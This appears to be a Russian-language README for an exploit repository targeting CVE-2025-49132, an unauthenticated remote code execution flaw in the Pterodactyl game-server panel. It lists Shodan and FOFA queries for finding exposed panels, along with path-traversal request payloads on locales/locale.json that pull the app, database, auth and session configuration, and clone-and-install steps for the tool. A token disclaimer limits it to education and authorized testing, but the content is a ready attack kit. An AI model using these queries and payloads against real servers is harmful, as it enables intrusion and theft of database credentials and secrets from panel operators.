CVE-2025-49132 — Pterodactyl RCE

Эксплойт для CVE-2025-49132 — критическая уязвимость удалённого выполнения кода без аутентификации, затрагивающая панель управления игровыми серверами Pterodactyl.

🧠 Что такое CVE-2025-49132?

Критическая ACE-уязвимость в панели Pterodactyl, позволяющая неаутентифицированным удалённым злоумышленникам выполнять произвольный код — что потенциально приводит к полной компрометации системы.

Никакой аутентификации не требуется. Достаточно уязвимого экземпляра.

⚠️ Отказ от ответственности

Только для образовательных целей и авторизованного тестирования на проникновение.

🔍 Разведка

Shodan

http.title:"Pterodactyl"

FOFA

"Pterodactyl"

💉 Полезные нагрузки (Payloads)

locales/locale.json?locale=../../../pterodactyl&namespace=config/app
locales/locale.json?locale=../../../pterodactyl&namespace=config/database
locales/locale.json?locale=../../../pterodactyl&namespace=config/auth
locales/locale.json?locale=../../../pterodactyl&namespace=config/session

📦 Установка

git clone https://github.com/yurahshell/CVE-2025-49132
cd CVE-2025-49132
pip install -r requirements.txt

🎯 Уязвимое программное обеспечение

📄 Ссылки

• NVD - CVE-2025-49132
• Pterodactyl